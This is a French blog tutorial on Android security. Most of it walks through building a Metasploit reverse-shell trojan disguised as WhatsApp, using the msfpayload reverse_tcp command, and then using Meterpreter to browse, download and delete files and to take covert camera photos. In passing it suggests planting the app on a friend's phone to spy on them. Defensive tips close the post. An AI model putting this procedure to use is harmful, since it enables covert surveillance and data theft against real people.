vendredi 18 septembre 2015

COMMENT EVITER QUE SON SMARTPHONE ANDROID SE FASSE PIRATER


Bonjour,

Aujourd’hui je vais vous montrer quelques astuces pour éviter que votre appareil (Smartphone ou tablette) possédant un système d’exploitation Android se fasse pirater par une personne malveillante (Hacker).

Android comme vous le savez surement déjà, est un système d’exploitation (Operating System, OS) mobile développé par Google et l’Open Handset Alliance (constitué de plus de 80 entreprises parmi lesquelles Samsung, Tecno, …). Les appareils Android disposent de nombreuses fonctionnalités qui ont fait de ce système l’un des plus utilisé de nos jours, et les statistiques parlent d’elles même ; puisqu’en 2014, plus d’un milliard de Smartphones Android ont été vendu dans le monde, soit une croissance de 30 % par rapport à 2013 et telles que vont les choses il va s’en doute dire qu’en 2015 les statistiques seront encore meilleures. 

Donc Android c’est le système d’exploitation mobile de « l’heure »,  d’ailleurs dans mon pays on utilise le terme « android » pour qualifier toute chose ou personne qui soit à la mode, c’est pour vous dire qu’ Android fait le « buzz » … mais ce que beaucoup de personnes ignorent c’est qu’ils existent certaines failles dans le système Android qui pourraient permettre par exemple  à une personne malveillante de voler toutes sortes d’informations personnelles à un individu  et de les utiliser à des mauvaises fins. 

On dénombre de plus en plus d’attaques perpétrées par des hackers sur des Smartphones, puissent qu’ils se sont rendus compte que des individus utilisent de plus en plus leurs Smartphones pour presque tout faire : envoi de mail, chat sur les réseaux sociaux, transactions bancaires depuis leur mobile, … les hackers y voit un nouveau terrain de jeu idéal pour commettre leurs méfaits car les utilisateurs de Smartphones ne sont pas souvent au courant des risques auxquels ils sont exposés.

En effet plusieurs attaques peuvent être lancées par des hackers sur des terminaux Android : comme des attaques de Phishing (consulté mon article sur le sujet ici), attaque par des SMS/MMS infectés, Spywares, Trojans (chevaux de Troie), … 

Pour vous montrer à quel point une attaque sur terminal Android peut être désastreuse pour le propriétaire du Smartphone ou de la tablette je vais ici simuler une attaque par cheval de Troie sur un Smartphone Android. Mais tout d’abord,

Qu’est ce qu’un Trojan ou Cheval de Troie ?

Un cheval de Troie est une application à l’apparence normale mais qui contient en réalité du code malveillant dissimulé en son sein ; par analogie au cheval de la ville présente dans la mythologie grecque, le Trojan est conçue pour infecter en toute discrétion l’appareil de la cible, à seule différence que le Trojan a besoin de « l’aide » de la victime pour exécuter son code malveillant ; ceci pour dire que tant que l’utilisateur de l’appareil n’essai pas d’exécuter ce qu’il considère comme une application légitime, il ne se fera pas infecter.

Comme mentionné plus haut nous allons simuler une attaque sur un terminal Android, on pourrait présenter la topologie réseau que nous allons utiliser comme suit :



(PS : nous allons utiliser le logigiel Metasploit pour lancer notre attaque, il faut aussi noter que cette attaque est efficace sur Smartphone ou tablette quelque soit la version d’Android qui y est installé)

Pour commencer nous allons  créer le Trojan qui va infecter notre victime ; pour ce faire nous entrons la commande « msfpayload android/meterpreter/reverse_tcp LHOST = adresse_ip_hacker  LPORT = port_d_ecoute R > nom_application.apk » où l’option « R » permet de rendre l’application exécutable, pour créer convenablement notre Trojan, nous devrons attribuer un port d’écoute quelconque et aurons également besoin de connaitre notre adresse IP (Internet Protocol) :




Une fois en connaissance de notre adresse IP, on entre la commande comme le montre la capture suivante : 


Nous venons de créer notre application (Trojan) donc le nom est « WhatsApp.apk » et qui contient du code appelé Payload « android/meterpreter/reverse_tcp » qui nous permettra d’avoir un accès à un terminal Android sur lequel sera exécuté notre Trojan; en terminologie Metasploit, un Payload est un code que nous souhaitons faire exécuter par le système cible tel qu’un « bind shell » qui nous permettra par exemple d’avoir accès à l’appareil de la victime via un port d’écoute.

En nous rendant dans notre répertoire personnel nous nous rendons compte que notre Trojan « WhatsApp.apk » s’y trouve bien :




WhatsApp.apk est une application compatible avec les systèmes Android, du fait de l’extension .apk qui est l’extension des applications Android (tout comme .exe est l’extension des applications tournant sous Windows). Toute fois l’application créée via Metasploit est assez simpliste, pour l’adapter à notre convenance il faut procéder à une décompression de cette application et modifier soi même les fichiers pour personnaliser par exemple l’icône de l’application, l’apparence et les textes de l’application, pour y arriver il faut avoir quelques notions dans la programmation système et Android, ce qui s’avère également utile si l’on souhaite personnaliser un Trojan en tout point identique à l’application légitime à laquelle on veut qu’elle ressemble. Dans notre cas après décompression et quelques modifications de fichiers propres au Trojan,




Nous avons obtenu une application WhatsApp qui semblera « normale » aux yeux de notre cible.

Une fois notre Trojan WhatsApp.apk crée, on peut le mettre sur Internet, ou avec des méthodes de Social Engineering (ingénierie sociale) pousser des potentiels futures victimes à installer notre application, ou nous pouvons l’installer directement dans le terminal Android d’un(e) ami(e) qui aurait eu tort de nous faire confiance en nous confiant son Smartphone par exemple, et que l’on souhaiterait espionner :)
 
Comme victime nous utiliserons notre Smartphone Samsung :



Notre Trojan WhatsApp à été téléchargé et placé dans un emplacement de notre terminal Android cible :



Comme vous pouvez le voir notre Trojan en apparence ressemble à l’application normale de WhatsApp, n’importe qui se ferait avoir par son apparence inofensive. 

Nous lançons l’installation du Trojan sur notre Smartphone cible :



Le Smartphone lance l’installation du Trojan comme il le ferait pour toute autre application Android :

Après avoir cliqué sur le bouton « Installer »,



On constate que notre Trojan s’installe sans problème sur le Smartphone de notre cible : 



Jusque là, notre cible ne se rend pas compte qu’elle vient d’installer un Trojan.

A présent nous allons rendre la connectivité effective entre notre machine attaquante et le Smartphone cible lorsque l’utilisateur exécutera notre Trojan en pensant que ce dernier est l’application WhatsApp.

Pour commencer nous démarrons le logiciel Metasploit Framework (MSF), avec la commande « msfconsole » :


Une fois Metasploit démarré, nous entrons le type d’exploit que nous souhaitons utiliser pour procéder à l’attaque : 




Ensuite nous configurons un Payload qui sera à l’écoute du Payload déjà présent dans notre Trojan :




Puis nous lui ajoutons des paramètres, comme notre adresse IP,




Et le port d’écoute de la connexion avec le Smartphone cible :




Une fois les paramètres de notre Payload configurés, nous tapons la commande « exploit », 




Il ne nous reste plus qu’à attendre que notre victime établisse la connexion avec notre ordinateur en exécutant notre Trojan depuis son terminal Android.

Nous nous rendons au niveau de notre Smartphone cible et ouvrons la fausse application WhatsApp :


Une fois que la cible exécute le Trojan la connexion est directement établie avec le Hacker :

(PS : j’ai modifié le Trojan pour qu’il s’affiche de cette manière, mais un Hacker peut également le modifier pour qu’il s’exécute en arrière plan et donc à l’insu de la victime) 




Ainsi nous obtenons un shell Meterpreter sur notre Smartphone cible, dans la terminologie Metasploit, Meterpreter est une extension qui permet d’enrichir les fonctionnalités de Metasploit et de compromettre davantage une cible. 

Obtenir un shell Meterpreter sur un appareil cible est comparable à du « pain béni » pour les Hackers, vous allez bientôt savoir pourquoi.

Maintenant que nous avons un shell Meterpreter sur notre Smartphone cible nous pouvons effectuer toutes sortes d’opérations que l’on désire sur la cible. On peut par exemple avoir les informations de fabrication du Smartphone Android cible grâce à la commande « sysinfo » :




On peut facilement vérifier ces informations en interrogeant directement notre Smartphone :



Si l’on désire connaitre l’adresse IP de notre cible on entre au niveau de l’interface shell Meterpreter la commande « ifconfig » :




De même en vérifiant au niveau de notre Smartphone Android : 



On constate que les informations qu’on reçoit sur notre shell Meterpreter correspondent aux informations réelles provenant de notre Smartphone Android cible. Donc ici le Hacker suite à l’exécution du Trojan, a un contrôle total sur le Smartphone cible et peut lui ordonné de lui envoyer via la connectivité existante entre eux deux, n’importe quelles informations relatives aux paramétrages, données, … de la cible.

On peut parcourir entièrement le contenu du Smartphone avec les commandes utilisées sur les OS Linux : « pwd », pour voir le répertoire courant où l’on se trouve, « cd » pour accéder à un répertoire et « ls » pour lister le contenu du répertoire, il faut noter que la majorité des autres commandes Linux (rmdir, rm, …) peuvent également être utilisées. 

Si l’on souhaite par exemple voir le contenu de la carte mémoire présente dans notre Smartphone on peut s’y rendre tout d’abord en entrant dans son répertoire père « storage » avec la commande « cd storage» :


Puis « cd extSdCard » :




Et on constate que la configuration et les répertoires sont identiques à ceux présent dans notre Smartphone :




Et en examinant le contenu du répertoire « extSdCard » :



On constate que c’est le même contenu que l’on aperçoit sur notre shell Meterpreter :




Si l’on s’intéresse au répertoire « dossier_test_blog_jacques »,




Et que le Hacker souhaite par exemple, télécharger certains fichiers de ce dossier vers son ordinateur, il n’aura qu’à utiliser la commande « download » suivie du nom du fichier, par exemple si l’on veut télécharger le fichier nommé « wallpaper-1676606.jpg » qui est un fichier image,




On entre la commande :




Et on constate après un tout petit moment que le fichier à bien été téléchargé depuis le Smartphone cible vers l’ordinateur du Hacker, puis stocké dans le dossier personnel de celui-ci, qui peut ensuite le visualiser sans problème :




(PS : Vous pouvez facilement imaginer ce qui arriverait si un Hacker trouvait de cette manière  des images compromettantes de vous, cela pourrait très mal se passer, surtout si vous êtes une personnalité importante, vous serez un bon candidat au chantage. et récemment encore des Hackers ont publiés des photos compromettantes de célébrités sur internet peut-être ils s’y sont pris de cette manière)

Le Hacker peut faire des tonnes d’autres choses comme supprimer des fichiers dans le Smartphone depuis le shell Meterpreter avec la commande « rm » suivi du nom du fichier :




Créer un dossier sur le Smartphone depuis le shell Meterpreter :




Le Hacker peut aller encore plus loin si son intention est de nuire à la cible par exemple, en récupérant les numéros de téléphone des contacts de la cible, lire ses messages, … (vous comprendrez donc la raison pour laquelle je ne montre pas ces techniques ici) enfin le Hacker peut même décider si il le souhaite d’espionner via le microphone interne du Smartphone ou son appareil photo la cible et ceci sans que la cible s’en rende compte. Par exemple pour espionner la cible via l’appareil photo de son Smartphone le Hacker entre la commande « webcam_snap », cette commande à pour action de prendre une photo en toute discrétion (sans Flash, ni bruit) avec l’appareil photo de la cible et de la transférer sur son ordinateur :
 




Nous allons nous arrêter là pour les tests. Je pense à ce niveau que vous avez amplement pris conscience des risques réels que vous courrez si vous êtes attaqué par un Hacker et que ce dernier réussit à obtenir un shell Meterpreter sur votre terminal Android. Vous vous demandez surement maintenant comment on peut essayez d’éviter de se faire pirater de la sorte, justement c’est le point suivant :

Comment éviter que son terminal Android se fasse pirater ? 

Pour éviter que les scénarios montrés précédemment ne vous arrivent vous pouvez :

  • Installer des applications sur votre Smartphone directement depuis le Play Store ; 
  • Installer manuellement que des applications que vous-même vous avez développées ou dont vous êtes sûr de la fiabilité ; 
  • Désactiver le Bluetooth et le Wi-Fi lorsque vous ne les utilisez pas ; 
  • Désactiver la géo localisation automatique de votre Smartphone ; 
  • Installer une application Antivirus sur votre Smartphone ; 
  • Garder votre Smartphone loin de la porté de tous ; 
  • Posséder plusieurs mots de passes différents pour les comptes de vos applications Facebook, Twitter, google, … 
  • Modifier de manière régulière vos mots de passes ; 
  • Choisir des mots de passes robustes, c'est-à-dire combinez des lettres, des chiffres et des caractères spéciaux (@, -, _, …) ; 
  • Ne pas noter vos mots de passes ou les enregistrer sur votre mobile, et surtout évitez de prendre un mot de passe facilement retrouvable par l’une de vos connaissances ; 
  • Eviter de choisir comme écran de déverrouillage des schémas faisant référence à des lettres comme W, L, … , bien que les schémas soient très pratiques il ne faut pas oublier qu’ils sont aussi facile à trouver ; 
  • Installer des applications de cryptage et de chiffrement sur votre Smartphone, pour crypter les textes et autres contenus ; 
  • Avant d’installer une application lire entièrement les autorisations que disposent la dite application sur votre Smartphone ; 
  • Lorsque vous surfez sur internet avec votre Smartphone évitez de cliquer sur n’importe quel lien et de visiter des sites douteux ; 
  • Utiliser si possible un VPN (Virtual Private Network) lorsque vous surfez ; 
  • Vérifier le gestionnaire d’application, pour voir les processus en cours d’exécution et supprimez les processus qui vous sont inconnus, comme par exemple en examinant le gestionnaire d’applications de notre Smartphone où l’on a installé un Trojan tout à l’heure, on se rend compte qu’on ne trouve pas dans la liste des applications téléchargé  l’application WhatsApp, mais plutôt une application du nom de « MainActivity » qui n’est pourtant pas installé sur le Smartphone, en fait il s’agit du processus du Trojan WhatsApp qu’on à installé.


Le tutoriel touche à sa fin pour récapituler, il faut noter que, malgré le fait que le système d’exploitation mobile Android, présente de nombreux avantages due à toutes les fonctionnalités qu’il offre, il peut néanmoins subir des attaques de la part de Hacker qui peuvent s’avérer être très désastreuse pour la victime, toute fois il existe heureusement des moyens qui vous permettent de limiter les risques de piratage de votre terminal Android. En espérant qu’il vous sera utile,

Merci d’avoir suivi le tutoriel jusqu’à la fin.

A très bientôt !!!  

1 commentaire :

  1. My god je n'ignorais pas que n"importe quel expert mal intentionné puisse prendre le control total de nos ordi et en faire à sa guise mais j'avoue sue démonstration à l'appui c'est encore plus effrayant !
    Ndlr/ Le "plus impressionnant" est la démonstration d'espionnage via le microphone interne du Smartphone sans que la cible s’en rende compte.
    Merci pour toutes ces précisions bien utiles pour les utilisateurs basique ds mon genre .
    Perso ce que je crains tout autant que les hackers c'est moi-même et l"aléatoire des paramètrages de mes appli etc..y'a du boulot! 😆😆
    Mais heureusement que des gens comme vous prennent de leur temps pour nous mettre en garde et nois faite des démo .

    RépondreSupprimer